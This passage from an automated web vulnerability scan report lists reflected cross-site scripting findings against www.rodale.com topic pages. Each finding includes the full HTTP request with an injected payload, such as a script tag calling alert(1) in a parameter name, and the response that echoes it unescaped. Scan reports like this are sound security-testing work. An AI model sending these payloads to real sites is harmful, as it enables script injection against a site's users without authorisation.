<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/organic-gardening?7e952"><script>alert(1)</script>7bdc245311a=1" title="Register" class="moreLink">
...[SNIP]...

2.743. http://www.rodale.com/topic/oudoor-living [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/oudoor-living

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d3a0"><a>132ef6f1e5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2d3a0"><a>132ef6f1e5b/oudoor-living HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:24 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2d3a0"><a>132ef6f1e5b topic2d3a0">
...[SNIP]...

2.744. http://www.rodale.com/topic/oudoor-living [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/oudoor-living

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74bc4"><a>39b08567776 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/oudoor-living74bc4"><a>39b08567776 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:30 GMT
Date: Thu, 10 Mar 2011 17:17:30 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-oudoor-living74bc4"><a>39b08567776 node node-958">
...[SNIP]...

2.745. http://www.rodale.com/topic/oudoor-living [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/oudoor-living

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a4ce"><script>alert(1)</script>7c5b9deeda7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/oudoor-living?7a4ce"><script>alert(1)</script>7c5b9deeda7=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:22 GMT
Date: Thu, 10 Mar 2011 17:16:22 GMT
Content-Length: 29476
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/oudoor-living?7a4ce"><script>alert(1)</script>7c5b9deeda7=1" title="Register" class="moreLink">
...[SNIP]...

2.746. http://www.rodale.com/topic/outdoor-living [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/outdoor-living

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d13dc"><a>ceeb9462e74 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd13dc"><a>ceeb9462e74/outdoor-living HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:26 GMT
Date: Thu, 10 Mar 2011 17:16:26 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd13dc"><a>ceeb9462e74 topicd13dc">
...[SNIP]...

2.747. http://www.rodale.com/topic/outdoor-living [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/outdoor-living

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 727d3"><a>1826158fe00 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/outdoor-living727d3"><a>1826158fe00 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:06 GMT
Date: Thu, 10 Mar 2011 17:17:07 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-outdoor-living727d3"><a>1826158fe00 node node-958">
...[SNIP]...

2.748. http://www.rodale.com/topic/outdoor-living [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/outdoor-living

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd503"><script>alert(1)</script>dd7cb70c26a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/outdoor-living?bd503"><script>alert(1)</script>dd7cb70c26a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32825

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/outdoor-living?bd503"><script>alert(1)</script>dd7cb70c26a=1" title="Register" class="moreLink">
...[SNIP]...

2.749. http://www.rodale.com/topic/outdoor-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/outdoor-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d0b1"><a>6f6d2109342 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3d0b1"><a>6f6d2109342/outdoor-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:35 GMT
Date: Thu, 10 Mar 2011 17:16:36 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3d0b1"><a>6f6d2109342 topic3d0b1">
...[SNIP]...

2.750. http://www.rodale.com/topic/outdoor-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/outdoor-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d65b4"><a>4adb56c016a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/outdoor-safetyd65b4"><a>4adb56c016a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:39 GMT
Date: Thu, 10 Mar 2011 17:17:39 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-outdoor-safetyd65b4"><a>4adb56c016a node node-958">
...[SNIP]...

2.751. http://www.rodale.com/topic/outdoor-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/outdoor-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6dd4"><script>alert(1)</script>e232ab8ac15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/outdoor-safety?f6dd4"><script>alert(1)</script>e232ab8ac15=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:33 GMT
Date: Thu, 10 Mar 2011 17:16:33 GMT
Content-Length: 32471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/outdoor-safety?f6dd4"><script>alert(1)</script>e232ab8ac15=1" title="Register" class="moreLink">
...[SNIP]...

2.752. http://www.rodale.com/topic/over-counter-drugs [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4356"><a>a76950e3908 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice4356"><a>a76950e3908/over-counter-drugs HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:47 GMT
Date: Thu, 10 Mar 2011 17:16:47 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice4356"><a>a76950e3908 topice4356">
...[SNIP]...

2.753. http://www.rodale.com/topic/over-counter-drugs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a808"><a>38e5b25aaf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/over-counter-drugs3a808"><a>38e5b25aaf HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:23 GMT
Date: Thu, 10 Mar 2011 17:17:23 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-over-counter-drugs3a808"><a>38e5b25aaf node node-958">
...[SNIP]...

2.754. http://www.rodale.com/topic/over-counter-drugs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ab6d"><script>alert(1)</script>45d536644b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/over-counter-drugs?3ab6d"><script>alert(1)</script>45d536644b6=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:42 GMT
Date: Thu, 10 Mar 2011 17:16:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33142

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/over-counter-drugs?3ab6d"><script>alert(1)</script>45d536644b6=1" title="Register" class="moreLink">
...[SNIP]...

2.755. http://www.rodale.com/topic/over-counter-drugs-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71e31"><a>4917e6ae2bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic71e31"><a>4917e6ae2bd/over-counter-drugs-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:51 GMT
Date: Thu, 10 Mar 2011 17:16:52 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic71e31"><a>4917e6ae2bd topic71e31">
...[SNIP]...

2.756. http://www.rodale.com/topic/over-counter-drugs-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c9fe"><a>b236d5575c2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/over-counter-drugs-02c9fe"><a>b236d5575c2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:30 GMT
Date: Thu, 10 Mar 2011 17:17:30 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-over-counter-drugs-02c9fe"><a>b236d5575c2 node node-958">
...[SNIP]...

2.757. http://www.rodale.com/topic/over-counter-drugs-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/over-counter-drugs-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1283"><script>alert(1)</script>b1f33649afb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/over-counter-drugs-0?d1283"><script>alert(1)</script>b1f33649afb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:45 GMT
Date: Thu, 10 Mar 2011 17:16:46 GMT
Content-Length: 30103
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/over-counter-drugs-0?d1283"><script>alert(1)</script>b1f33649afb=1" title="Register" class="moreLink">
...[SNIP]...

2.758. http://www.rodale.com/topic/overeating [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/overeating

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 238c4"><a>8806ffcfe81 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic238c4"><a>8806ffcfe81/overeating HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:04 GMT
Date: Thu, 10 Mar 2011 17:17:04 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic238c4"><a>8806ffcfe81 topic238c4">
...[SNIP]...

2.759. http://www.rodale.com/topic/overeating [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/overeating

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a190b"><a>3e200fcb636 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/overeatinga190b"><a>3e200fcb636 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:06 GMT
Date: Thu, 10 Mar 2011 17:18:06 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-overeatinga190b"><a>3e200fcb636 node node-958">
...[SNIP]...

2.760. http://www.rodale.com/topic/overeating [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/overeating

Issue detail

